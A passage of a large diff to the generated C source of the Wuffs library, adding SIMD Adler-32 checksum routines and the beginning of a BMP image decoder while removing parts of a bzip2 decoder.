-+ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), ((uint16x4_t){16u, 15u, 14u, 13u})); -+ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); -+ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); -+ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); -+ v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); -+ v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); -+ v_sum12 = vpadd_u32(v_sum1, v_sum2); -+ v_s1 += vget_lane_u32(v_sum12, 0u); -+ v_s2 += vget_lane_u32(v_sum12, 1u); -+ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); -+ if (v_tail_index < ((uint64_t)(a_x.len))) { -+ { -+ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 1; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end0_p) { -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; - } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; - } -- if (v_c != 104u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -- goto exit; -+ v_s1 %= 65521u; -+ v_s2 %= 65521u; -+ a_x = v_remaining; -+ } -+ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+// ‼ WUFFS MULTI-FILE SECTION -arm_neon -+ -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func adler32.hasher.up_x86_sse42 -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_adler32__hasher__up_x86_sse42( -+ wuffs_adler32__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_s1 = 0; -+ uint32_t v_s2 = 0; -+ wuffs_base__slice_u8 v_remaining = {0}; -+ wuffs_base__slice_u8 v_p = {0}; -+ __m128i v_zeroes = {0}; -+ __m128i v_ones = {0}; -+ __m128i v_weights__left = {0}; -+ __m128i v_weights_right = {0}; -+ __m128i v_q__left = {0}; -+ __m128i v_q_right = {0}; -+ __m128i v_v1 = {0}; -+ __m128i v_v2 = {0}; -+ __m128i v_v2j = {0}; -+ __m128i v_v2k = {0}; -+ uint32_t v_num_iterate_bytes = 0; -+ uint64_t v_tail_index = 0; -+ -+ v_zeroes = _mm_set1_epi16((int16_t)(0u)); -+ v_ones = _mm_set1_epi16((int16_t)(1u)); -+ v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); -+ v_weights_right = _mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), (int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); -+ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -+ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -+ while (((uint64_t)(a_x.len)) > 0u) { -+ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -+ if (((uint64_t)(a_x.len)) > 5536u) { -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); -+ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); - } -+ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); -+ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); -+ v_v1 = _mm_setzero_si128(); -+ v_v2j = _mm_setzero_si128(); -+ v_v2k = _mm_setzero_si128(); - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -- } -- if ((v_c < 49u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); -- goto exit; -- } -- self->private_impl.f_max_incl_block_size = (((uint32_t)((v_c - 48u))) * 100000u); -- while (true) { -- v_tag = 0u; -- v_i = 0u; -- while (v_i < 48u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -- } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- v_tag <<= 1u; -- v_tag |= ((uint64_t)((self->private_impl.f_bits >> 31u))); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- } -- if (v_tag == 25779555029136u) { -- break; -- } else if (v_tag != 54156738319193u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- status = wuffs_bzip2__decoder__prepare_block(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_block_size = 0u; -- self->private_impl.f_decode_huffman_finished = false; -- self->private_impl.f_decode_huffman_which = WUFFS_BZIP2__CLAMP_TO_5[(self->private_data.f_huffman_selectors[0u] & 7u)]; -- self->private_impl.f_decode_huffman_ticks = 50u; -- self->private_impl.f_decode_huffman_section = 0u; -- self->private_impl.f_decode_huffman_run_shift = 0u; -- while ( ! self->private_impl.f_decode_huffman_finished) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- v_status = wuffs_bzip2__decoder__decode_huffman_fast(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -- goto exit; -- } else if (self->private_impl.f_decode_huffman_finished) { -- break; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } -- wuffs_bzip2__decoder__invert_bwt(self); -- self->private_impl.f_block_checksum_have = 4294967295u; -- if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); -- goto exit; -- } -- self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); -- self->private_impl.f_flush_repeat_count = 0u; -- self->private_impl.f_flush_prev = 0u; -- while (self->private_impl.f_block_size > 0u) { -- wuffs_bzip2__decoder__flush_fast(self, a_dst); -- if (self->private_impl.f_block_size <= 0u) { -- break; -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- status = wuffs_bzip2__decoder__flush_slow(self, a_dst); -- if (status.repr) { -- goto suspend; -- } -- } -- self->private_impl.f_block_checksum_have ^= 4294967295u; -- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); -- goto exit; -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 32; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); -+ while (v_p.ptr < i_end0_p) { -+ v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); -+ v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); -+ v_v2j = _mm_add_epi32(v_v2j, v_v1); -+ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); -+ v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); -+ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); -+ v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); -+ v_p.ptr += 32; - } -- self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); -+ v_p.len = 0; - } -- v_final_checksum_want = 0u; -- v_i = 0u; -- while (v_i < 32u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -+ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); -+ v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); -+ v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); -+ v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); -+ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); -+ v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); -+ v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); -+ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); -+ if (v_tail_index < ((uint64_t)(a_x.len))) { -+ { -+ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 1; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end0_p) { -+ v_s1 += ((uint32_t)(v_p.ptr[0u])); -+ v_s2 += v_s1; -+ v_p.ptr += 1; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -+ v_p.len = 0; - } -- v_final_checksum_want <<= 1u; -- v_final_checksum_want |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; - } -- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); -- goto exit; -- } -- -- goto ok; -- ok: -- self->private_impl.p_do_transform_io[0] = 0; -- goto exit; -+ v_s1 %= 65521u; -+ v_s2 %= 65521u; -+ a_x = v_remaining; - } -+ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - -- goto suspend; -- suspend: -- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_transform_io[0].v_i = v_i; -- self->private_data.s_do_transform_io[0].v_tag = v_tag; -- self->private_data.s_do_transform_io[0].v_final_checksum_want = v_final_checksum_want; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) - -- return status; --} -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) - --// -------- func bzip2.decoder.prepare_block -+// ---------------- Status Codes Implementations - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__prepare_block( -- wuffs_bzip2__decoder* self, -+const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; -+const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; -+const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; -+const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; -+const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; -+ -+// ---------------- Private Consts -+ -+#define WUFFS_BMP__COMPRESSION_NONE 0u -+ -+#define WUFFS_BMP__COMPRESSION_RLE8 1u -+ -+#define WUFFS_BMP__COMPRESSION_RLE4 2u -+ -+#define WUFFS_BMP__COMPRESSION_BITFIELDS 3u -+ -+#define WUFFS_BMP__COMPRESSION_JPEG 4u -+ -+#define WUFFS_BMP__COMPRESSION_PNG 5u -+ -+#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6u -+ -+#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256u -+ -+#define WUFFS_BMP__RLE_STATE_NEUTRAL 0u -+ -+#define WUFFS_BMP__RLE_STATE_RUN 1u -+ -+#define WUFFS_BMP__RLE_STATE_ESCAPE 2u -+ -+#define WUFFS_BMP__RLE_STATE_LITERAL 3u -+ -+#define WUFFS_BMP__RLE_STATE_DELTA_X 4u -+ -+#define WUFFS_BMP__RLE_STATE_DELTA_Y 5u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__do_decode_image_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__do_decode_frame_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__do_decode_frame( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_none( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_rle( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_bitfields( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_low_bit_depth( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__do_tell_me_more( -+ wuffs_bmp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__read_palette( -+ wuffs_bmp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__process_masks( -+ wuffs_bmp__decoder* self); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_bmp__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_bmp__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_bmp__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_bmp__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_bmp__decoder__initialize( -+ wuffs_bmp__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_bmp__decoder* -+wuffs_bmp__decoder__alloc(void) { -+ wuffs_bmp__decoder* x = -+ (wuffs_bmp__decoder*)(calloc(1, sizeof(wuffs_bmp__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_bmp__decoder__initialize( -+ x, sizeof(wuffs_bmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_bmp__decoder(void) { -+ return sizeof(wuffs_bmp__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func bmp.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_bmp__decoder__get_quirk( -+ const wuffs_bmp__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ return 0u; -+} -+ -+// -------- func bmp.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__set_quirk( -+ wuffs_bmp__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func bmp.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__decode_image_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint32_t v_i = 0; -- uint32_t v_j = 0; -- uint32_t v_selector = 0; -- uint32_t v_sel_ff = 0; -- uint8_t v_movee = 0; - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func bmp.decoder.do_decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bmp__decoder__do_decode_image_config( -+ wuffs_bmp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_magic = 0; -+ uint32_t v_width = 0; -+ uint32_t v_height = 0; -+ uint32_t v_planes = 0; -+ uint32_t v_n = 0; -+ uint32_t v_dst_pixfmt = 0; -+ uint32_t v_byte_width = 0; -+ - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -30999,797 +31613,1141 @@ wuffs_bzip2__decoder__prepare_block( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_prepare_block[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_prepare_block[0].v_i; -- v_selector = self->private_data.s_prepare_block[0].v_selector; -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- self->private_impl.f_block_checksum_want = 0u; -- v_i = 0u; -- while (v_i < 32u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if ((self->private_impl.f_call_sequence != 0u) || (self->private_impl.f_io_redirect_fourcc == 1u)) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if (self->private_impl.f_io_redirect_fourcc != 0u) { -+ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -+ goto ok; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- self->private_impl.f_block_checksum_want <<= 1u; -- self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- } -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 8) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -+ v_magic = t_0; - } -- if ((self->private_impl.f_bits >> 31u) != 0u) { -- status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); -+ if (v_magic != 19778u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); - goto exit; - } -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- self->private_impl.f_original_pointer = 0u; -- v_i = 0u; -- while (v_i < 24u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ self->private_data.s_do_decode_image_config.scratch = 